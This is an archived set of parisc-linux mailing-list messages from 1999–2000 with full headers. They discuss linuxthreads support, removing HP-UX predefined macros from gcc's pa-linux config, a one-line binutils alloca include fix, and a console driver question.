Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13jNAS-0005Kx-00; Wed, 11 Oct 2000 10:47:40 -0400
In-Reply-To: Richard Hirst's message of "Wed, 11 Oct 2000 13:09:57 +0100"
Original-Lines: 16
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8093

Richard Hirst <rhirst@linuxcare.com> writes:

> timer_create() is in librt.a - anyone know whether we expect this to
> work or not atm?

librt.so you mean, and it may not actually work, because it pulls in
libpthread.so.  I did enough fixing of linuxthreads such that merely
linking with -lpthread doesn't break your program, but I expect there
might be other problems, and actually using threads almost certainly
will not work.  (we're still missing a few #defines in pt-machine.h,
which I'll put in today, maybe, but there are probably VM issues in
the kernel as well, and I don't know if clone(2) actually works).

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __hp9000s700 predefined
Date: 11 Oct 2000 10:44:31 -0400
Organization: Linuxcare, Inc.
Lines: 24
Approved: news@gmane.org
Message-ID: <871yxne8ts.fsf@linuxcare.com>
References: <200010110704.AAA05911@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619174 4375 80.91.229.3 (22 Nov 2014 01:19:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: dhd@linuxcare.com  Wed Oct 11 08:58:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA24127
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 08:58:30 -0600
Original-Received: (qmail 24888 invoked by uid 15267); 11 Oct 2000 14:59:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24860 invoked from network); 11 Oct 2000 14:59:21 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 14:59:21 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13jN7P-0005Kv-00; Wed, 11 Oct 2000 10:44:31 -0400
In-Reply-To: Grant Grundler's message of "Wed, 11 Oct 2000 00:04:01 -0700 (PDT)"
Original-Lines: 23
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8094

Grant Grundler <grundler@cup.hp.com> writes:

> John Marvin suggested we remove the __hp9000s700 from the pa-linux
> config files since it's HPUX crud. I think he's right since parisc-linux
> kernels are intended to run on both 700's and 800's.
> parisc-linux configs functionality in/out based on CONFIG_XXX flags
> or run-time checks (ie register_driver()).
> Can we remove the "-D__hp9000s700" from gcc/gcc/config/pa/pa-linux.h?

Yes

> Similarly, gcc/gcc/config/pa/pa-linux64.h has "-D__hp9000s800"
> which could/should be removed at the same time.

Yes

It's true, those defines are only there for compatibility with broken
HP/UX source.  I left them in because I figured it wouldn't break
anything.  If they really offend people I can certainly remove them :)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __hp9000s700 predefined
Date: Wed, 11 Oct 2000 11:31:46 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200010111531.LAA26119@hiauly1.hia.nrc.ca>
References: <200010110704.AAA05911@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619174 4377 80.91.229.3 (22 Nov 2014 01:19:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Oct 11 09:34:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA25945
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 09:34:27 -0600
Original-Received: (qmail 11182 invoked by uid 15267); 11 Oct 2000 15:35:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11174 invoked from network); 11 Oct 2000 15:35:33 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 15:35:33 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA26119;
	Wed, 11 Oct 2000 11:31:47 -0400 (EDT)
In-Reply-To: <200010110704.AAA05911@milano.cup.hp.com> from "Grant Grundler" at Oct 11, 2000 00:04:01 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8095

> But Randolf also noted that gcc predefines a few other things:
> 	-D__hp9000s700 -D_PA_RISC1_1
> 
> John Marvin suggested we remove the __hp9000s700 from the pa-linux
> config files since it's HPUX crud. I think he's right since parisc-linux
> kernels are intended to run on both 700's and 800's.
> parisc-linux configs functionality in/out based on CONFIG_XXX flags
> or run-time checks (ie register_driver()).
> Can we remove the "-D__hp9000s700" from gcc/gcc/config/pa/pa-linux.h?
> 
> Similarly, gcc/gcc/config/pa/pa-linux64.h has "-D__hp9000s800"
> which could/should be removed at the same time.

These are needed for user apps as well as the kernel.  They allow cpp
to process files based on the machine features of the version of gcc used
for the compilation (e.g.: PA 1.0, 1.1, or 2.0; 32 or 64 bit; s700 or s800).
Thus, these or a similar set of defines are needed under parisc-linux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 64 bit BFD configuration failure on hpux-11.0
Date: Thu, 12 Oct 2000 02:55:58 +1100 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010120250340.29523-100000@front.linuxcare.com.au>
References: <39E47AC9.156577A9@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619175 4379 80.91.229.3 (22 Nov 2014 01:19:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:35 +0000 (UTC)
Cc: binutils@sourceware.cygnus.com, parisc-linux@thepuffingroup.com
To: Markus Werle <markus@lufmech.rwth-aachen.de>
Original-X-From: alan@linuxcare.com.au  Wed Oct 11 09:55:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA27301
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 09:55:20 -0600
Original-Received: (qmail 8203 invoked by uid 15267); 11 Oct 2000 15:56:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8164 invoked from network); 11 Oct 2000 15:56:24 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 15:56:24 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id CAA02950;
	Thu, 12 Oct 2000 02:55:58 +1100
In-Reply-To: <39E47AC9.156577A9@lufmech.rwth-aachen.de>
Xref: news.gmane.org gmane.linux.ports.parisc:8096

On Wed, 11 Oct 2000, Markus Werle wrote:

> cc +DA2.0w +DS2.0w -Ae -o size size.o bucomm.o version.o filemode.o
> ../bfd/.libs/libbfd.a ../libiberty/libiberty.a ./../intl/libintl.a -lm
> ld: Unsatisfied symbol "alloca" in file
> ../bfd/.libs/libbfd.a[elf64-hppa.o]
> 1 errors.

This should fix it

--- bfd/elf64-hppa.c~	Tue Sep  5 11:54:49 2000
+++ bfd/elf64-hppa.c	Thu Oct 12 01:19:35 2000
@@ -17,6 +17,7 @@
 along with this program; if not, write to the Free Software
 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.  */
 
+#include "alloca-conf.h"
 #include "bfd.h"
 #include "sysdep.h"
 #include "libbfd.h"


I'll commit this to CVS tomorrow morning - this morning I mean, after I've
had a sleep.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __hp9000s700 predefined
Date: Wed, 11 Oct 2000 09:54:56 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <200010111654.JAA06726@milano.cup.hp.com>
References: <200010111531.LAA26119@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619175 4381 80.91.229.3 (22 Nov 2014 01:19:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@cup.hp.com  Wed Oct 11 10:49:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA29672
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 10:49:35 -0600
Original-Received: (qmail 22941 invoked by uid 15267); 11 Oct 2000 16:50:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22931 invoked from network); 11 Oct 2000 16:50:42 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 16:50:42 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id D3F5BBFA; Wed, 11 Oct 2000 09:50:39 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA06726;
	Wed, 11 Oct 2000 09:54:57 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 11 Oct 2000 11:31:46 PDT."
             <200010111531.LAA26119@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:8097

"John David Anglin" wrote:
...
> These are needed for user apps as well as the kernel.  They allow cpp
> to process files based on the machine features of the version of gcc used
> for the compilation (e.g.: PA 1.0, 1.1, or 2.0; 32 or 64 bit; s700 or s800).

o PA 1.1 vs PA 2.0 can be handled with -D_PA_RISC1_1.
  Since neither HPUX 10.X, HPUX 11.X, nor parisc-linux supports PA1.0,
  I don't know or care that is going to work (apologies to the
  folks who made spectrum happen).

o 32 vs 64-bit can be handled with __LP64__.

o s700 vs s800 is an artifact of HP's workstation vs server divisions.
  ie an artifact of how HP was organized. With HPUX 11, HP no longer ships
  different binaries for workstations vs servers (to many customers
  relief since we now only have one patch stream per release).

o As I noted before, linux enable/disables specific functionality and
  HW support with either CONFIG_XXX or runtime checks.

John, is there something specific you are concerned about which
can't be handled by the above predefined symbols?

BTW, HPUX vs parisc-linux vs osf vs hiux differences can be handled
with hpux, linux, mach, hiux predefines...ugh....looking at
gcc/gcc/config/pa/pa*h makes me want to puke...


> Thus, these or a similar set of defines are needed under parisc-linux.

I don't believe this yet...having worked on HPUX 10.20 and HPUX 11
extensively, I'm going to be hard to convince too...

thanks,
grant

> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __hp9000s700 predefined
Date: Wed, 11 Oct 2000 15:44:13 -0400 (EDT)
Lines: 56
Approved: news@gmane.org
Message-ID: <200010111944.PAA27137@hiauly1.hia.nrc.ca>
References: <200010111654.JAA06726@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619175 4382 80.91.229.3 (22 Nov 2014 01:19:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Oct 11 13:45:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA04466
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 13:45:35 -0600
Original-Received: (qmail 12538 invoked by uid 15267); 11 Oct 2000 19:46:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12517 invoked from network); 11 Oct 2000 19:46:41 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 19:46:41 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA27137;
	Wed, 11 Oct 2000 15:44:14 -0400 (EDT)
In-Reply-To: <200010111654.JAA06726@milano.cup.hp.com> from "Grant Grundler" at Oct 11, 2000 09:54:56 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8098

> "John David Anglin" wrote:
> ...
> > These are needed for user apps as well as the kernel.  They allow cpp
> > to process files based on the machine features of the version of gcc used
> > for the compilation (e.g.: PA 1.0, 1.1, or 2.0; 32 or 64 bit; s700 or s800).
> 
> o PA 1.1 vs PA 2.0 can be handled with -D_PA_RISC1_1.
>   Since neither HPUX 10.X, HPUX 11.X, nor parisc-linux supports PA1.0,
>   I don't know or care that is going to work (apologies to the
>   folks who made spectrum happen).

You probably know better than I but I think PA1.0 is the "portable" default
for most libraries under 10.X.  I believe that gcc also defines _PA_RISC2_0
for PA2.0.  This is not used under hpux 10.X.  However, it is used under 11
in setjmp.h and varargs.h.  I also see _PA_RISC1_0 there, so gcc probably
should be defining it as well (at least for hpux).

Although parisc-linux may not run on PA1.0 hardware, you never know what some
software maniac will do in the future.  The gcc infrastructure to generate
PA1.0 code is there and works.  Thus, I don't buy the argument that this
capability shouldn't be supported under linux simply because you don't
want the symbol defines to support it in the namespace.  Kernel support
and building the appropriate libs are more of an issue.  Take a look
at the IDs in unistd.h and magic.h.  There are IDs for 1.0, 1.1, 1.2 and
2.0.

> o s700 vs s800 is an artifact of HP's workstation vs server divisions.
>   ie an artifact of how HP was organized. With HPUX 11, HP no longer ships
>   different binaries for workstations vs servers (to many customers
>   relief since we now only have one patch stream per release).
> 
> o As I noted before, linux enable/disables specific functionality and
>   HW support with either CONFIG_XXX or runtime checks.
> 
> John, is there something specific you are concerned about which
> can't be handled by the above predefined symbols?

I was just being cautious about __hp9000s[7-8]00.  I looked at some of
the uses in the hpux 10.X headers, and for usage in gcc and binutils.  I
don't see any obvious reason why these two symbols need to be defined
for linux.

I believe that the compiler only should predefine symbols that are necessary
for the control of code generation.  Neither CONFIG_XXX or runtime checks
will help you for this since gcc only has a limited capability to change
its code generation at runtime.  There appears to be some model dependence
in the floating point implementations from one pa machine to another.  If
this can't all be hidden in the kernel, some further specification of the
hardware might be needed for floating point.  For example, __i686__ is
defined on the Pentium Pro and is used in bits/mathinline.h.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __hp9000s700 predefined
Date: Wed, 11 Oct 2000 16:11:56 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200010112011.QAA27206@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619176 4383 80.91.229.3 (22 Nov 2014 01:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:36 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Oct 11 14:14:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA05998
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 14:14:21 -0600
Original-Received: (qmail 21082 invoked by uid 15267); 11 Oct 2000 20:15:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21059 invoked from network); 11 Oct 2000 20:15:25 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 20:15:25 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA27206;
	Wed, 11 Oct 2000 16:11:57 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Oct 11, 2000 03:44:13 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8099

> > John, is there something specific you are concerned about which
> > can't be handled by the above predefined symbols?
> 
> I was just being cautious about __hp9000s[7-8]00.  I looked at some of
> the uses in the hpux 10.X headers, and for usage in gcc and binutils.  I
> don't see any obvious reason why these two symbols need to be defined
> for linux.
> 
> I believe that the compiler only should predefine symbols that are necessary
> for the control of code generation.  Neither CONFIG_XXX or runtime checks
> will help you for this since gcc only has a limited capability to change
> its code generation at runtime.  There appears to be some model dependence
> in the floating point implementations from one pa machine to another.  If
> this can't all be hidden in the kernel, some further specification of the
> hardware might be needed for floating point.  For example, __i686__ is
> defined on the Pentium Pro and is used in bits/mathinline.h.

There is a nice table listing model numbers, architecture and processor
type in /opt/langtools/lib/sched.models under hpux 11.  It still appears
possible to compile and link a PA1.0 app under hpux 11.  I am guessing
but it looks like there are 5 different PA1.1 float implementations (a-e).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Qn on Linux/PA-RISC future Console driver
Date: Tue, 6 Apr 1999 20:06:35 -0700 (PDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990406200059.397B-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619176 4385 80.91.229.3 (22 Nov 2014 01:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:36 +0000 (UTC)
Cc: kumar@ix.netcom.com
To: parisc-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Wed Apr  7 00:05:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id AAA01886
	for <parisc-linux@sod.res.cmu.edu>; Wed, 7 Apr 1999 00:05:39 -0400
Original-Received: (qmail 9145 invoked by uid 15267); 7 Apr 1999 04:04:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9138 invoked from network); 7 Apr 1999 04:04:52 -0000
Original-Received: from dfw-ix11.ix.netcom.com (206.214.98.11)
  by mailserv2.iuinc.com with SMTP; 7 Apr 1999 04:04:52 -0000
Original-Received: (from smap@localhost)
          by dfw-ix11.ix.netcom.com (8.8.4/8.8.4)
	  id XAA08202; Tue, 6 Apr 1999 23:05:03 -0500 (CDT)
Original-Received: from sji-ca11-141.ix.netcom.com(209.109.237.141) by dfw-ix11.ix.netcom.com via smap (V1.3)
	id rma008175; Tue Apr  6 23:04:46 1999
Xref: news.gmane.org gmane.linux.ports.parisc:8100


Hi,
	Has anyone done some work on Linux/PA-RISC Console driver.
	Are we planning to use PDC for console or is it possible
	to directly access Console device. 

					-kumar

	




From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __hp9000s700 predefined
Date: Wed, 11 Oct 2000 13:21:33 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <200010112021.NAA07074@milano.cup.hp.com>
References: <200010111944.PAA27137@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619176 4388 80.91.229.3 (22 Nov 2014 01:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@cup.hp.com  Wed Oct 11 14:16:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA06368
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 14:16:13 -0600
Original-Received: (qmail 23889 invoked by uid 15267); 11 Oct 2000 20:17:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23875 invoked from network); 11 Oct 2000 20:17:20 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 20:17:20 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 90EBBE2; Wed, 11 Oct 2000 13:17:18 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA07074;
	Wed, 11 Oct 2000 13:21:35 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 11 Oct 2000 15:44:13 PDT."
             <200010111944.PAA27137@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:8101


Summary ----------
Ok. It looks like we are in agreement.
I'm going to remove __hp9000s[78]00 from pa-linux*.h files.

grant

Full Reply -------------

"John David Anglin" wrote:
> You probably know better than I but I think PA1.0 is the "portable" default
> for most libraries under 10.X.

It's definitely not under 10.20. PA1.1 is the minimum.
I think PA1.0/CIO support was completely dropped after
10.01 or 10.10 releases.

> I believe that gcc also defines _PA_RISC2_0
> for PA2.0.  This is not used under hpux 10.X.  However, it is used under 11
> in setjmp.h and varargs.h.  I also see _PA_RISC1_0 there, so gcc probably
> should be defining it as well (at least for hpux).

Agreed. 10.X doesn't use _PA_RISC2_0 since it has to run on PA1.1 HW
and only supports narrow mode on PA2.0 platforms. Any differences
in the processor architectures are handled with runtime checks.
(like boot time patching of inline spinlocks).

_PA_RISC1_0 is cruft in HPUX 11. It's definitely not supported
and no maniac is going that change that.

> 
> Although parisc-linux may not run on PA1.0 hardware, you never know what some
> software maniac will do in the future.

I don't think the proposed change will prevent anyone from *attempting*
to port parisc-linux to PA1.0 architecture. <shudder>.

But this digresses from the original question about __hp9000s[78]00.

...
> > John, is there something specific you are concerned about which
> > can't be handled by the above predefined symbols?
> 
> I was just being cautious about __hp9000s[7-8]00.  I looked at some of
> the uses in the hpux 10.X headers, and for usage in gcc and binutils.  I
> don't see any obvious reason why these two symbols need to be defined
> for linux.

Ok. I was just going on my (limited) knowledge of the platforms
and how linux configuration works.

> I believe that the compiler only should predefine symbols that are necessary
> for the control of code generation.

Agreed. That's why we wanted it removed.

...
> There appears to be some model dependence
> in the floating point implementations from one pa machine to another.  If
> this can't all be hidden in the kernel, some further specification of the
> hardware might be needed for floating point.  For example, __i686__ is
> defined on the Pentium Pro and is used in bits/mathinline.h.

HPUX hides it all in the kernel somehow...and __hp9000s[7-8]00 won't
help with this problem anyway.

thanks for your insight,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __hp9000s700 predefined
Date: Wed, 11 Oct 2000 16:21:22 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200010112021.QAA27610@hiauly1.hia.nrc.ca>
References: <200010112021.NAA07074@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619176 4393 80.91.229.3 (22 Nov 2014 01:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Oct 11 14:22:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07386
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 14:22:50 -0600
Original-Received: (qmail 946 invoked by uid 15267); 11 Oct 2000 20:23:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 923 invoked from network); 11 Oct 2000 20:23:56 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 20:23:56 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA27610;
	Wed, 11 Oct 2000 16:21:22 -0400 (EDT)
In-Reply-To: <200010112021.NAA07074@milano.cup.hp.com> from "Grant Grundler" at Oct 11, 2000 01:21:33 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8102

> > There appears to be some model dependence
> > in the floating point implementations from one pa machine to another.  If
> > this can't all be hidden in the kernel, some further specification of the
> > hardware might be needed for floating point.  For example, __i686__ is
> > defined on the Pentium Pro and is used in bits/mathinline.h.
> 
> HPUX hides it all in the kernel somehow...and __hp9000s[7-8]00 won't
> help with this problem anyway.

Agreed.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
